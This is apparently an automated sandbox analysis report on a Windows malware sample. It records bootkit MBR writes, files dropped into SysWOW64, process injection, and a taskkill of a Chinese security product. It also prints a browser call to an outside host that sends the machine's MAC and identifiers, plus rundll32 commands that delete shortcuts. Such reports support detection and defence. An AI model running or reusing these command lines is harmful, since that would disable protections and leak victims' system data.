4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c

General

Target

4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
Size

66KB
MD5

6a8a87bdde4c990495445537002b875d
SHA1

f042ff475685cfb50660876ecabe777638985758
SHA256

4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c
SHA512

4f786f1e224ad52b82c54117da36927726e863a5850364f34b2dce65540140a38eb0e182119c3d021de089da33321177f9f7ad72a7e988ae43d855ff00840410
SSDEEP

1536:A0AQ7vNqh8Ks9dFcQanJI3s0t2Jk6HuJAJr0eoKM:4Aqh8KWdVI2eu6O7T

Score

8^/10

bootkit persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

hrdsoft.exe

pid process

988 hrdsoft.exe
Deletes itself 1 IoCs

Processes:

hrdsoft.exe

pid process

988 hrdsoft.exe

pid	process
988	hrdsoft.exe

pid	process
988	hrdsoft.exe

Loads dropped DLL 2 IoCs

Processes:

4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe

pid	process
2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1067

Processes:

4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe

description ioc process

File opened for modification \??\PhysicalDrive0 4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe

Drops file in System32 directory 11 IoCs

Processes:

4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exehrdsoft.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\4.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\6.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\ba1023.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\8.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\9.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\10.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\hrdsoft.exe	hrdsoft.exe
File opened for modification	C:\Windows\SysWOW64\2.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\3.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\5.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
File opened for modification	C:\Windows\SysWOW64\7.ico	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1972 taskkill.exe

pid	process
1972	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 23 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{7974FB81-7036-11ED-90F1-D6AAFEFD221A} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe

pid process

2036 4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

taskkill.exehrdsoft.exe

description	pid	process
Token: SeDebugPrivilege	1972	taskkill.exe
Token: SeRestorePrivilege	988	hrdsoft.exe
Token: SeBackupPrivilege	988	hrdsoft.exe
Token: SeRestorePrivilege	988	hrdsoft.exe
Token: SeBackupPrivilege	988	hrdsoft.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1956 iexplore.exe

pid	process
1956	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exeiexplore.exeIEXPLORE.EXEhrdsoft.exe

pid	process
2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
1956	iexplore.exe
1956	iexplore.exe
960	IEXPLORE.EXE
960	IEXPLORE.EXE
988	hrdsoft.exe

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exeiexplore.exehrdsoft.exe

description	pid	process	target process
PID 2036 wrote to memory of 1956	2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe	iexplore.exe
PID 2036 wrote to memory of 1956	2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe	iexplore.exe
PID 2036 wrote to memory of 1956	2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe	iexplore.exe
PID 2036 wrote to memory of 1956	2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe	iexplore.exe
PID 1956 wrote to memory of 960	1956	iexplore.exe	IEXPLORE.EXE
PID 1956 wrote to memory of 960	1956	iexplore.exe	IEXPLORE.EXE
PID 1956 wrote to memory of 960	1956	iexplore.exe	IEXPLORE.EXE
PID 1956 wrote to memory of 960	1956	iexplore.exe	IEXPLORE.EXE
PID 2036 wrote to memory of 988	2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe	hrdsoft.exe
PID 2036 wrote to memory of 988	2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe	hrdsoft.exe
PID 2036 wrote to memory of 988	2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe	hrdsoft.exe
PID 2036 wrote to memory of 988	2036	4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe	hrdsoft.exe
PID 988 wrote to memory of 1972	988	hrdsoft.exe	taskkill.exe
PID 988 wrote to memory of 1972	988	hrdsoft.exe	taskkill.exe
PID 988 wrote to memory of 1972	988	hrdsoft.exe	taskkill.exe
PID 988 wrote to memory of 1972	988	hrdsoft.exe	taskkill.exe
PID 988 wrote to memory of 1376	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1376	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1376	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1376	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1376	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1376	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1376	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1856	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1856	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1856	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1856	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1856	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1856	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1856	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1844	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1844	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1844	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1844	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1844	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1844	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1844	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1776	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1776	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1776	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1776	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1776	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1776	988	hrdsoft.exe	rundll32.exe
PID 988 wrote to memory of 1776	988	hrdsoft.exe	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe
"C:\Users\Admin\AppData\Local\Temp\4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe"
1⤵
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2036

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://www.5913.net/a/get.asp?mac=D6AAFEFD2200&makedate=QM00013&comput=Home&ver=26&userid=0001
2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1956

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1956 CREDAT:275457 /prefetch:2
3⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:960

C:\Windows\SysWOW64\hrdsoft.exe
C:\Windows\system32\hrdsoft.exe C:\Users\Admin\AppData\Local\Temp\4d69b319b9aa132035a898915095643fdc571d601c7c8ade42887b24acc1077c.exe===
2⤵
- Executes dropped EXE
- Deletes itself
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:988

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ZhuDongFangyu.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1972

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk
3⤵
PID:1376

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\launch internet explorer browser.lnk
3⤵
PID:1856

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk
3⤵
PID:1844

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk
3⤵
PID:1776

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Bootkit

1

T1067

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\hrdsoft.exe
Filesize
21KB

MD5
81c63ef2f75628e47d5549cf79074ded

SHA1
a1d909ab6126155c70c4ce5f55e3e4225645431e

SHA256
da85d3752c0200708b93eb89e1dfa8b640b56ed4f4801028261c3aa3b7f1f117

SHA512
7d7d413948a3714756d972957899a8e6043dacb82b88ea7d7c4ec93e0523ff4ec37d4b2ee5f58becd8beb79a4ae2a981fbf21a0accaf07a20f21cc7ed6b2b139

Download Submit
C:\Windows\SysWOW64\hrdsoft.exe
Filesize
21KB

MD5
81c63ef2f75628e47d5549cf79074ded

SHA1
a1d909ab6126155c70c4ce5f55e3e4225645431e

SHA256
da85d3752c0200708b93eb89e1dfa8b640b56ed4f4801028261c3aa3b7f1f117

SHA512
7d7d413948a3714756d972957899a8e6043dacb82b88ea7d7c4ec93e0523ff4ec37d4b2ee5f58becd8beb79a4ae2a981fbf21a0accaf07a20f21cc7ed6b2b139

Download Submit
\Windows\SysWOW64\hrdsoft.exe
Filesize
21KB

MD5
81c63ef2f75628e47d5549cf79074ded

SHA1
a1d909ab6126155c70c4ce5f55e3e4225645431e

SHA256
da85d3752c0200708b93eb89e1dfa8b640b56ed4f4801028261c3aa3b7f1f117

SHA512
7d7d413948a3714756d972957899a8e6043dacb82b88ea7d7c4ec93e0523ff4ec37d4b2ee5f58becd8beb79a4ae2a981fbf21a0accaf07a20f21cc7ed6b2b139

Download Submit
\Windows\SysWOW64\hrdsoft.exe
Filesize
21KB

MD5
81c63ef2f75628e47d5549cf79074ded

SHA1
a1d909ab6126155c70c4ce5f55e3e4225645431e

SHA256
da85d3752c0200708b93eb89e1dfa8b640b56ed4f4801028261c3aa3b7f1f117

SHA512
7d7d413948a3714756d972957899a8e6043dacb82b88ea7d7c4ec93e0523ff4ec37d4b2ee5f58becd8beb79a4ae2a981fbf21a0accaf07a20f21cc7ed6b2b139

Download Submit
memory/988-67-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/988-60-0x0000000000000000-mapping.dmp

Download
memory/988-77-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/1376-69-0x0000000000000000-mapping.dmp

Download
memory/1776-75-0x0000000000000000-mapping.dmp

Download
memory/1844-73-0x0000000000000000-mapping.dmp

Download
memory/1856-71-0x0000000000000000-mapping.dmp

Download
memory/1972-66-0x0000000000000000-mapping.dmp

Download
memory/2036-64-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/2036-57-0x0000000075C61000-0x0000000075C63000-memory.dmp

Filesize
8KB

Download
memory/2036-55-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads